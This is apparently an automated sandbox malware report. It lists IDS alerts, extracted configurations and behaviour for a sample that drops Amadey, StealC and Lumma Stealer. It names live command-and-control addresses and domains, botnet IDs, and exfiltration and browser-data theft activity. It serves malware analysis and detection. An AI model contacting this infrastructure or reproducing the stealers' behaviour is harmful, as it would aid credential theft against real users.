2024-11-19T01:03:20.609800+0100	2028371	3	Unknown Traffic	192.168.2.6	50190	188.114.96.3	443	TCP
2024-11-19T01:03:24.219389+0100	2028371	3	Unknown Traffic	192.168.2.6	50210	188.114.96.3	443	TCP
2024-11-19T01:03:28.072680+0100	2028371	3	Unknown Traffic	192.168.2.6	50224	188.114.96.3	443	TCP
2024-11-19T01:03:31.314286+0100	2028371	3	Unknown Traffic	192.168.2.6	50235	188.114.96.3	443	TCP
2024-11-19T01:05:45.096590+0100	2028371	3	Unknown Traffic	192.168.2.6	64271	52.168.117.173	443	TCP
2024-11-19T01:06:07.554676+0100	2028371	3	Unknown Traffic	192.168.2.6	64281	20.50.73.4	443	TCP
2024-11-19T01:06:46.433904+0100	2028371	3	Unknown Traffic	192.168.2.6	64308	52.182.143.212	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:39.761049+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50121	188.114.96.3	443	TCP
2024-11-19T01:02:41.059197+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50127	188.114.96.3	443	TCP
2024-11-19T01:02:56.137437+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50140	188.114.96.3	443	TCP
2024-11-19T01:02:56.680954+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50141	188.114.96.3	443	TCP
2024-11-19T01:02:57.458635+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50142	188.114.96.3	443	TCP
2024-11-19T01:03:08.383040+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50152	188.114.96.3	443	TCP
2024-11-19T01:03:10.152647+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50156	188.114.96.3	443	TCP
2024-11-19T01:03:20.775069+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50189	188.114.96.3	443	TCP
2024-11-19T01:03:31.783593+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50235	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:39.761049+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50121	188.114.96.3	443	TCP
2024-11-19T01:02:56.137437+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50140	188.114.96.3	443	TCP
2024-11-19T01:03:08.383040+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50152	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:41.059197+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50127	188.114.96.3	443	TCP
2024-11-19T01:02:57.458635+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50142	188.114.96.3	443	TCP
2024-11-19T01:03:10.152647+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50156	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:57.831575+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50144	185.215.113.16	80	TCP
2024-11-19T01:03:21.699292+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50196	185.215.113.16	80	TCP
2024-11-19T01:03:32.700727+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50239	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:33.788900+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50116	185.215.113.43	80	TCP
2024-11-19T01:02:39.015191+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50120	185.215.113.43	80	TCP
2024-11-19T01:02:57.519071+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50143	185.215.113.43	80	TCP
2024-11-19T01:03:02.920386+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50149	185.215.113.43	80	TCP
2024-11-19T01:03:08.763721+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50153	185.215.113.43	80	TCP
2024-11-19T01:03:49.091786+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50285	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:01:20.456882+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49736	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:01:20.425683+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49736	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:01:20.735751+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49736	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:01:22.723894+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49736	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:01:20.742773+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49736	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:44.958262+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50133	188.114.96.3	443	TCP
2024-11-19T01:03:16.357610+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50171	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:01:20.134386+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-19T01:02:59.211113+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50145	185.215.113.206	80	TCP
2024-11-19T01:03:17.601997+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50173	185.215.113.206	80	TCP
2024-11-19T01:03:26.457709+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50219	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:22.642221+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50112	185.215.113.43	80	TCP
2024-11-19T01:08:01.703177+0100	2856147	1	A Network Trojan was detected	192.168.2.6	64339	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:32.870267+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50113	TCP
2024-11-19T01:03:44.724489+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50280	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:25.960428+0100	2803305	3	Unknown Traffic	192.168.2.6	50114	31.41.244.11	80	TCP
2024-11-19T01:02:34.709982+0100	2803305	3	Unknown Traffic	192.168.2.6	50117	185.215.113.16	80	TCP
2024-11-19T01:02:39.962060+0100	2803305	3	Unknown Traffic	192.168.2.6	50124	185.215.113.16	80	TCP
2024-11-19T01:02:59.211506+0100	2803305	3	Unknown Traffic	192.168.2.6	50146	185.215.113.16	80	TCP
2024-11-19T01:03:03.881924+0100	2803305	3	Unknown Traffic	192.168.2.6	50150	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:01:23.646959+0100	2803304	3	Unknown Traffic	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-19T01:01:43.305911+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-19T01:01:44.609092+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-19T01:01:45.361242+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-19T01:01:46.412306+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-19T01:02:02.507669+0100	2803304	3	Unknown Traffic	192.168.2.6	50072	185.215.113.206	80	TCP
2024-11-19T01:02:04.436997+0100	2803304	3	Unknown Traffic	192.168.2.6	50072	185.215.113.206	80	TCP
2024-11-19T01:02:08.819117+0100	2803304	3	Unknown Traffic	192.168.2.6	50105	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T01:02:49.909124+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50139	188.114.96.3	443	TCP
2024-11-19T01:03:16.357610+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50171	188.114.96.3	443	TCP
2024-11-19T01:03:28.077844+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50224	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 00000023.00000003.3320256714.0000000005400000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 7250ce8e20.exe.8148.29.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["3xp3cts1aim.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "processhol.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: 35e66d06ff.exe.7312.30.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 42%
Source: file.exe	Virustotal: Detection: 52%			Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C966C80

Source: 9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_c871ce70-4

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7250ce8e20.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=7250ce8e20.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49818 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.91:443 -> 192.168.2.6:50272 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50323 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50322 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50330 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:57259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.6:64269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.117.173:443 -> 192.168.2.6:64271 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.50.73.4:443 -> 192.168.2.6:64281 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64290 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64287 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64286 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64292 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:64295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.182.143.212:443 -> 192.168.2.6:64308 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:64357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64398 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64397 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64401 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64396 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64403 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64404 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64405 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 7250ce8e20.exe, 0000001B.00000003.3361717288.0000000007DF0000.00000004.00001000.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000002.3496702285.0000000005E02000.00000040.00000800.00020000.00000000.sdmp, 8865d2703a.exe, 0000002C.00000003.3359256846.0000000005280000.00000004.00001000.00020000.00000000.sdmp, 8865d2703a.exe, 0000002C.00000002.3497387100.0000000000192000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 39MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 96MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49736
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49736
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50112 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50113
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50116 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50120 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50143 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50145 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50149 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50153 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50173 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50219 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50280
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50285 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:64339 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50133 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50141 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50140 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50142 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50140 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50142 -> 188.114.96.3:443
